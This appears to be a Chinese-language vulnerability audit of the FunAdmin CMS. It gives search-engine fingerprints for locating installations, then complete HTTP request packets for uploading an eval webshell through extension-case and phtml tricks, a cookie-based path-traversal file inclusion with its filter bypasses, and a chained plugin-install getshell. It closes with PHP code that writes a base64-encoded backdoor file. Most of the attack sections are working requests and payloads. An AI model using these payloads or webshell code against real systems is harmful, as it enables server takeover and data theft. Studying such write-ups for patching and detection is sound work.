Funadmin审计报告

0x01 下载

官网:FunAdmin - 基于ThinkPHP8和layui的全栈开发框架

指纹:

  • fofa:icon_hash="-314551259"
  • hunter:web.icon="af81d0a4bbb154e4e4a3468f28bd826f"

0x02 后台文件上传Getshell

适用访问:

  • Cms版本:任意版本
  • 主机:Windows
  • 中间件:nginx、apache

image

登录后台后选择设置—>上传设置

将php改为pHp

使用下面数据包上传,需要注意的是下面的上传包不需要cookie也可以上传,即为前台上传

POST /backend/ajax/uploads?save=1&path=addon HTTP/1.1
Host: 192.168.100.200
Content-Length: 198
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryU0l40M5UJ9N6allK
Origin: http://192.168.124.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryU0l40M5UJ9N6allK
Content-Disposition: form-data; name="file"; filename="shell.pHp"
Content-Type: application/octet-stream

<?php eval($_POST[1]);?>
------WebKitFormBoundaryU0l40M5UJ9N6allK--

可以得到如下的地址

image

直接拼接即可

因为linux区分大小写所以无法解析这个pHp,只有windows可以解析,故只使用windows版本

0x03 前台文件上传Getshell

适用访问:

  • Cms版本:6.0以下版本
  • 主机:Windows、Linux
  • 中间件:apache

低版本文件上传没有文件后缀的限制,可以使用前面提供的数据包上传phtml进行解析

且因为apache的解析机制可以直接解析phtml

POST /backend/ajax/uploads?save=1&path=addon HTTP/1.1
Host: 192.168.100.200
Content-Length: 198
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryU0l40M5UJ9N6allK
Origin: http://192.168.124.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryU0l40M5UJ9N6allK
Content-Disposition: form-data; name="file"; filename="shell.phtml"
Content-Type: application/octet-stream

<?php eval($_POST[1]);?>
------WebKitFormBoundaryU0l40M5UJ9N6allK--

0x04 前台文件包含

适用访问:

  • Cms版本:任意版本
  • 主机:Windows、Linux
  • 中间件:apache、nginx

6.0版本

Windows

GET /frontend/ajax/lang?controllername= HTTP/1.1
Host: 192.168.100.200
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=..\/..\/..\/config/database; PHPSESSID=11kslsra8o1aka04sc7qlrp5q1; yzmphp_adminid=bb327ih1lHj2Rt62TgnGSmIX9B4lzjNkR7Nr6AxB; yzmphp_adminname=edfdi2GFuNVX8DYka_v1VZgFhjRQnU-xRPNTs43KyfW8CQ
Connection: close

Linux

GET /frontend/ajax/lang?controllername= HTTP/1.1
Host: 192.168.100.200
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=.\./.\./.\./config/database; PHPSESSID=11kslsra8o1aka04sc7qlrp5q1; yzmphp_adminid=bb327ih1lHj2Rt62TgnGSmIX9B4lzjNkR7Nr6AxB; yzmphp_adminname=edfdi2GFuNVX8DYka_v1VZgFhjRQnU-xRPNTs43KyfW8CQ
Connection: close

6.0版本下的

Windows、Linux

GET /frontend/ajax/lang?controllername= HTTP/1.1
Host: 192.168.100.200
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=../../../config/database; PHPSESSID=11kslsra8o1aka04sc7qlrp5q1; yzmphp_adminid=bb327ih1lHj2Rt62TgnGSmIX9B4lzjNkR7Nr6AxB; yzmphp_adminname=edfdi2GFuNVX8DYka_v1VZgFhjRQnU-xRPNTs43KyfW8CQ
Connection: close

解释

这里是进行文件包含,通过改变Cookie下的 think_lang 进行文件包含

例如读取根目录下的 config/database

不需要加 .php 是因为源码已经加了

image

因为6.0加了限制

if(!empty($lang) && Str::contains($lang,'../')){
	return false;
}

所以得用上面的bypass

0x04 后台组合拳Getshell

适用访问:

  • Cms版本:任意版本
  • 主机:Windows、Linux
  • 中间件:apache、nginx
  1. 文件上传

    这里上传一个zip压缩包,压缩包里面是shell.php,得到返回地址

    POST /backend/ajax/uploads?save=1&path=addon HTTP/1.1
    Host: 192.168.124.9
    Content-Length: 427
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiPElv4sXLfA98mXx
    Origin: http://192.168.124.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    ------WebKitFormBoundaryiPElv4sXLfA98mXx
    Content-Disposition: form-data; name="file"; filename="phpinfo.zip"
    Content-Type: application/x-zip-compressed
    
    PK
    ------WebKitFormBoundaryiPElv4sXLfA98mXx--
  2. 将返回包中的地址与下面数据包中的url参数进行拼接,需要注意的是这一步是需要管理员 PHPSESSID 的

    POST /backend/addon/localinstall HTTP/1.1
    Host: 127.0.0.1
    Content-Length: 72
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    X-CSRF-TOKEN: 1418f796892bfd0604986304635234b8
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.124.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: admin_lang=cn; home_lang=cn; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; admin-arctreeClicked-Arr=%5B%5D; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_IS_UPHTML=0; think_lang=zh-cn; PHPSESSID=de2c6b55731a29285b307b01b96cfaa6
    Connection: close
    
    url=%2Fstorage%2Faddon%2F20240710%2F14fefd4256bd837c01476a64ccdafda8.zip

    image

    又源码得知插件解压目录为根目录下的 addons

    image

  3. 使用上面的文件包含进行包含

    POST /frontend/ajax/lang?controllername= HTTP/1.1
    Host: 127.0.0.1
    sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: think_lang=..\\..\\..\\addons\yijuhua; PHPSESSID=11kslsra8o1aka04sc7qlrp5q1; yzmphp_adminid=bb327ih1lHj2Rt62TgnGSmIX9B4lzjNkR7Nr6AxB; yzmphp_adminname=edfdi2GFuNVX8DYka_v1VZgFhjRQnU-xRPNTs43KyfW8CQ
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 5
    
    1=dir

    image

自次成功Getshell

这里存在一个问题

如果文件包含使用蚁剑连接不上去的时候

可以使用下面代码,使用file_put_contents进行重新写文件

但是因为不知道为什么输出文件的时候

$_POST会被过滤掉?

所以只能使用下面的方法

eval(eval($_POST[1]))

但是eval($_POST[1])需要被base64加密

<?php
$a = $_POST['2'];
if ($a == 1) {
    echo "success | ";
    $encodedCode = 'ZXZhbCgkX1BPU1RbMV0pOw==';
    $code = 'file_put_contents("404.php", "<?php eval(base64_decode(\'' . $encodedCode . '\')); ?>");';
    eval($code);
}
?>

输出的文件自然就在public下了